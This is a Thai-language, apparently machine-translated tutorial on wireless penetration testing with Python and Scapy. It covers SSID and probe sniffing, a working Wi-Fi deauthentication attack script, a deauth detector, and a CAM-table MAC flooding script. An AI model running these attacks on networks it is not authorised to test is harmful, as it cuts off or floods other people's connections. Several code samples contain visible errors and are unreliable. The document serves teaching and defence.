Pentesting ของเครือข่ายไร้สาย
ระบบไร้สายมาพร้อมกับความยืดหยุ่นอย่างมาก แต่ในทางกลับกันก็นำไปสู่ปัญหาด้านความปลอดภัยที่ร้ายแรงเช่นกัน และสิ่งนี้กลายเป็นปัญหาด้านความปลอดภัยที่ร้ายแรงได้อย่างไร - เนื่องจากผู้โจมตีในกรณีของการเชื่อมต่อแบบไร้สายเพียงแค่ต้องมีสัญญาณที่จะโจมตีแทนที่จะมีการเข้าถึงทางกายภาพเหมือนในกรณีของเครือข่ายแบบใช้สาย การทดสอบการเจาะระบบไร้สายเป็นงานที่ง่ายกว่าการทดสอบบนเครือข่ายแบบใช้สาย เราไม่สามารถใช้มาตรการรักษาความปลอดภัยทางกายภาพที่ดีกับสื่อไร้สายได้หากเราอยู่ใกล้กันมากพอเราจะสามารถ "ได้ยิน" (หรืออย่างน้อยอแด็ปเตอร์ไร้สายของคุณก็สามารถได้ยิน) ทุกอย่างที่ไหลไปในอากาศ
ข้อกำหนดเบื้องต้น
ก่อนที่เราจะลงเรียนรู้เพิ่มเติมเกี่ยวกับการ pentesting ของเครือข่ายไร้สายขอให้เราพิจารณาถึงคำศัพท์และกระบวนการสื่อสารระหว่างไคลเอนต์และระบบไร้สาย
คำศัพท์ที่สำคัญ
ตอนนี้ให้เราเรียนรู้คำศัพท์ที่สำคัญที่เกี่ยวข้องกับการระงับเครือข่ายไร้สาย
จุดเชื่อมต่อ (AP)
จุดเชื่อมต่อ (AP) เป็นโหนดกลางในการใช้งานระบบไร้สาย 802.11 จุดนี้ใช้เพื่อเชื่อมต่อผู้ใช้กับผู้ใช้รายอื่นภายในเครือข่ายและยังสามารถใช้เป็นจุดเชื่อมต่อระหว่าง LAN ไร้สาย (WLAN) และเครือข่ายแบบต่อสาย ใน WLAN AP คือสถานีที่ส่งและรับข้อมูล
Service Set Identifier (SSID)
เป็นสตริงข้อความที่มนุษย์อ่านได้ยาว 0-32 ไบต์ซึ่งโดยพื้นฐานแล้วเป็นชื่อที่กำหนดให้กับเครือข่ายไร้สาย อุปกรณ์ทั้งหมดในเครือข่ายต้องใช้ชื่อที่คำนึงถึงตัวพิมพ์เล็กและใหญ่เพื่อสื่อสารผ่านเครือข่ายไร้สาย (Wi-Fi)
การระบุชุดบริการพื้นฐาน (BSSID)
เป็นที่อยู่ MAC ของชิปเซ็ต Wi-Fi ที่ทำงานบนจุดเชื่อมต่อไร้สาย (AP) มันถูกสร้างขึ้นแบบสุ่ม
หมายเลขช่อง
แสดงช่วงความถี่วิทยุที่ Access Point (AP) ใช้ในการส่งสัญญาณ
การสื่อสารระหว่างไคลเอนต์และระบบไร้สาย
สิ่งสำคัญอีกอย่างที่เราต้องเข้าใจคือกระบวนการสื่อสารระหว่างไคลเอนต์และระบบไร้สาย ด้วยความช่วยเหลือของแผนภาพต่อไปนี้เราสามารถเข้าใจสิ่งเดียวกัน -
กรอบ Beacon
ในกระบวนการสื่อสารระหว่างไคลเอนต์และจุดเชื่อมต่อ AP จะส่งเฟรมบีคอนเป็นระยะเพื่อแสดงสถานะ เฟรมนี้มาพร้อมกับข้อมูลที่เกี่ยวข้องกับ SSID, BSSID และหมายเลขช่อง
คำขอ Probe
ตอนนี้อุปกรณ์ไคลเอนต์จะส่งคำขอโพรบเพื่อตรวจสอบ AP ที่อยู่ในระยะ หลังจากส่งคำขอโพรบแล้วจะรอการตอบสนองของโพรบจาก AP คำขอ Probe มีข้อมูลเช่น SSID ของ AP ข้อมูลเฉพาะของผู้จำหน่ายเป็นต้น
การตอบสนองของ Probe
ตอนนี้หลังจากได้รับการร้องขอโพรบแล้ว AP จะส่งการตอบสนองของโพรบซึ่งมีข้อมูลเช่นอัตราข้อมูลที่รองรับความสามารถ ฯลฯ
คำขอรับรองความถูกต้อง
ตอนนี้อุปกรณ์ไคลเอนต์จะส่งกรอบคำขอการตรวจสอบสิทธิ์ที่มีข้อมูลประจำตัว
การตอบสนองการพิสูจน์ตัวตน
ในการตอบสนอง AP จะส่งกรอบการตอบกลับการตรวจสอบสิทธิ์เพื่อระบุการยอมรับหรือการปฏิเสธ
คำขอสมาคม
เมื่อการพิสูจน์ตัวตนสำเร็จอุปกรณ์ไคลเอนต์ได้ส่งเฟรมคำขอการเชื่อมโยงที่มีอัตราข้อมูลที่รองรับและ SSID ของ AP
คำตอบของสมาคม
ในการตอบสนอง AP จะส่งกรอบการตอบสนองที่เชื่อมโยงเพื่อระบุการยอมรับหรือการปฏิเสธ รหัสการเชื่อมโยงของอุปกรณ์ไคลเอ็นต์จะถูกสร้างขึ้นในกรณีที่ยอมรับ
การค้นหา Wireless Service Set Identifier (SSID) โดยใช้ Python
เราสามารถรวบรวมข้อมูลเกี่ยวกับ SSID ด้วยความช่วยเหลือของวิธีซ็อกเก็ตดิบและโดยใช้ไลบรารี Scapy
วิธีซ็อกเก็ตดิบ
เราได้เรียนรู้เรื่องนั้นแล้ว mon0จับแพ็คเก็ตไร้สาย ดังนั้นเราต้องตั้งค่าโหมดจอภาพเป็นmon0. ใน Kali Linux สามารถทำได้ด้วยความช่วยเหลือของairmon-ngสคริปต์ หลังจากเรียกใช้สคริปต์นี้แล้วจะมีการระบุชื่อการ์ดไร้สายwlan1. ตอนนี้ด้วยความช่วยเหลือของคำสั่งต่อไปนี้เราต้องเปิดใช้งานโหมดมอนิเตอร์mon0 -
airmon-ng start wlan1
ต่อไปนี้เป็นวิธีซ็อกเก็ตดิบสคริปต์ Python ซึ่งจะให้ SSID ของ AP แก่เรา -
ก่อนอื่นเราต้องนำเข้าโมดูลซ็อกเก็ตดังนี้ -
import socket
ตอนนี้เราจะสร้างซ็อกเก็ตที่จะมีสามพารามิเตอร์ พารามิเตอร์แรกบอกเราเกี่ยวกับอินเทอร์เฟซแพ็คเก็ต (PF_PACKET สำหรับ Linux เฉพาะและ AF_INET สำหรับ windows) พารามิเตอร์ที่สองบอกเราว่าเป็นซ็อกเก็ตดิบหรือไม่และพารามิเตอร์ที่สามบอกเราว่าเราสนใจแพ็กเก็ตทั้งหมด
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
ตอนนี้บรรทัดถัดไปจะผูกไฟล์ mon0 โหมดและ 0x0003.
s.bind(("mon0", 0x0003))
ตอนนี้เราจำเป็นต้องประกาศรายการว่างซึ่งจะเก็บ SSID ของ AP
ap_list = []
ตอนนี้เราต้องเรียกไฟล์ recvfrom()วิธีการรับแพ็คเก็ต สำหรับการดมกลิ่นต่อไปเราจะใช้ infinite while loop
while True:
packet = s.recvfrom(2048)
บรรทัดถัดไปของโค้ดจะแสดงว่าเฟรมมีขนาด 8 บิตหรือไม่ซึ่งแสดงว่าบีคอนเฟรม
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
SSID sniffer พร้อม Scapy
Scapy เป็นหนึ่งในไลบรารีที่ดีที่สุดที่ช่วยให้เราสามารถสูดดมแพ็กเก็ต Wi-Fi ได้อย่างง่ายดาย คุณสามารถเรียนรู้รายละเอียด Scapy ได้ที่https://scapy.readthedocs.io/en/latest/. เริ่มต้นด้วยการเรียกใช้ Sacpy ในโหมดโต้ตอบและใช้คำสั่ง conf เพื่อรับค่าของ iface อินเทอร์เฟซเริ่มต้นคือ eth0 ตอนนี้เรามีโดมด้านบนแล้วเราต้องเปลี่ยนโหมดนี้เป็น mon0 สามารถทำได้ดังนี้ -
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3
ตอนนี้ให้เรานำเข้า Scapy เป็นไลบรารี นอกจากนี้การดำเนินการของสคริปต์ Python ต่อไปนี้จะทำให้เรามี SSID -
from scapy.all import *
ตอนนี้เราจำเป็นต้องประกาศรายการว่างซึ่งจะเก็บ SSID ของ AP
ap_list = []
ตอนนี้เราจะกำหนดฟังก์ชันที่ชื่อ Packet_info()ซึ่งจะมีตรรกะการแยกวิเคราะห์แพ็กเก็ตที่สมบูรณ์ มันจะมีอาร์กิวเมนต์ pkt
def Packet_info(pkt) :
ในคำสั่งถัดไปเราจะใช้ตัวกรองซึ่งจะส่งผ่านเท่านั้น Dot11การจราจรซึ่งหมายถึงการรับส่งข้อมูล 802.11 บรรทัดที่ตามมายังเป็นตัวกรองซึ่งส่งผ่านการรับส่งข้อมูลที่มีเฟรมประเภท 0 (แสดงถึงเฟรมการจัดการ) และประเภทย่อยของเฟรมคือ 8 (แสดงถึงเฟรมบีคอน)
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))
ตอนนี้ฟังก์ชั่นการดมกลิ่นจะดมข้อมูลด้วย iface มูลค่า mon0 (สำหรับแพ็กเก็ตไร้สาย) และเรียกใช้ไฟล์ Packet_info ฟังก์ชัน
sniff(iface = "mon0", prn = Packet_info)
สำหรับการใช้งานสคริปต์ Python ข้างต้นเราต้องใช้การ์ด Wi-Fi ที่สามารถสูดอากาศโดยใช้โหมดมอนิเตอร์
การตรวจจับไคลเอนต์ Access Point
สำหรับการตรวจจับไคลเอนต์ของจุดเชื่อมต่อเราจำเป็นต้องจับเฟรมคำขอโพรบ เราสามารถทำได้เช่นเดียวกับที่เราทำในสคริปต์ Python สำหรับ SSID sniffer โดยใช้ Scapy เราจำเป็นต้องให้Dot11ProbeReqสำหรับการจับกรอบคำขอโพรบ ต่อไปนี้เป็นสคริปต์ Python เพื่อตรวจจับไคลเอนต์ของจุดเชื่อมต่อ -
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)
การโจมตีแบบไร้สาย
จากมุมมองของเพนเทสเตอร์จำเป็นอย่างยิ่งที่จะต้องทำความเข้าใจว่าการโจมตีแบบไร้สายเกิดขึ้นได้อย่างไร ในส่วนนี้เราจะพูดถึงการโจมตีไร้สายสองประเภท -
de-authentication (deauth) โจมตี
การโจมตีด้วยน้ำท่วมของ MAC
de-authentication (deauth) โจมตี
ในกระบวนการสื่อสารระหว่างอุปกรณ์ไคลเอนต์และจุดเชื่อมต่อเมื่อใดก็ตามที่ไคลเอนต์ต้องการยกเลิกการเชื่อมต่อจำเป็นต้องส่งเฟรมการยกเลิกการพิสูจน์ตัวตน เพื่อตอบสนองต่อเฟรมนั้นจากไคลเอนต์ AP จะส่งเฟรมการยกเลิกการพิสูจน์ตัวตนด้วย ผู้โจมตีสามารถได้รับประโยชน์จากกระบวนการปกตินี้โดยการปลอมแปลงที่อยู่ MAC ของเหยื่อและส่งเฟรมการพิสูจน์ตัวตนไปยัง AP ด้วยเหตุนี้การเชื่อมต่อระหว่างไคลเอนต์และ AP จึงหลุด ต่อไปนี้เป็นสคริปต์ Python เพื่อดำเนินการโจมตี de-authentication -
ก่อนอื่นให้เรานำเข้า Scapy เป็นไลบรารี -
from scapy.all import *
import sys
คำสั่งสองข้อต่อไปนี้จะป้อนที่อยู่ MAC ของ AP และเหยื่อตามลำดับ
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")
ตอนนี้เราต้องสร้างกรอบการพิสูจน์ตัวตน สามารถสร้างได้โดยดำเนินการคำสั่งต่อไปนี้
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
บรรทัดถัดไปของรหัสแสดงจำนวนแพ็กเก็ตทั้งหมดที่ส่ง นี่คือ 500 และช่วงเวลาระหว่างสองแพ็คเก็ต
sendp(frame, iface = "mon0", count = 500, inter = .1)
เอาต์พุต
เมื่อดำเนินการคำสั่งดังกล่าวจะสร้างผลลัพธ์ต่อไปนี้ -
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
ตามด้วยการสร้าง deauth frame ซึ่งส่งไปยังจุดเชื่อมต่อในนามของไคลเอนต์ สิ่งนี้จะทำให้การเชื่อมต่อระหว่างกันถูกยกเลิก
คำถามคือเราจะตรวจจับการโจมตี deauth ด้วยสคริปต์ Python ได้อย่างไร การเรียกใช้สคริปต์ Python ต่อไปนี้จะช่วยในการตรวจจับการโจมตีดังกล่าว -
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)
ในสคริปต์ข้างต้นคำสั่ง pkt.subtype == 12 ระบุว่าเฟรม deauth และตัวแปร I ซึ่งกำหนดโดยทั่วไปจะบอกเกี่ยวกับจำนวนแพ็กเก็ต
เอาต์พุต
การดำเนินการของสคริปต์ด้านบนสร้างผลลัพธ์ต่อไปนี้ -
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6
ที่อยู่ MAC ทำให้เกิดการโจมตีอย่างท่วมท้น
การโจมตีที่อยู่ MAC ท่วมท้น (CAM table flood attack) เป็นการโจมตีเครือข่ายประเภทหนึ่งที่ผู้โจมตีที่เชื่อมต่อกับพอร์ตสวิตช์จะทำให้อินเทอร์เฟซสวิตช์ท่วมด้วยเฟรมอีเธอร์เน็ตจำนวนมากพร้อมที่อยู่ MAC ปลอมที่แตกต่างกัน CAM Table Overflow เกิดขึ้นเมื่อมีการไหลเข้าของ MAC แอดเดรสเข้ามาในตารางและถึงขีด จำกัด ตาราง CAM สิ่งนี้ทำให้สวิตช์ทำหน้าที่เหมือนฮับทำให้เครือข่ายมีทราฟฟิกที่พอร์ตทั้งหมด การโจมตีดังกล่าวเปิดตัวได้ง่ายมาก สคริปต์ Python ต่อไปนี้ช่วยในการเปิด CAM เช่นการโจมตีท่วม -
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
จุดมุ่งหมายหลักของการโจมตีแบบนี้คือการตรวจสอบความปลอดภัยของสวิตช์ เราจำเป็นต้องใช้ความปลอดภัยของพอร์ตหากต้องการทำให้ผลกระทบจากการโจมตีของ MAC ท่วมน้อยลง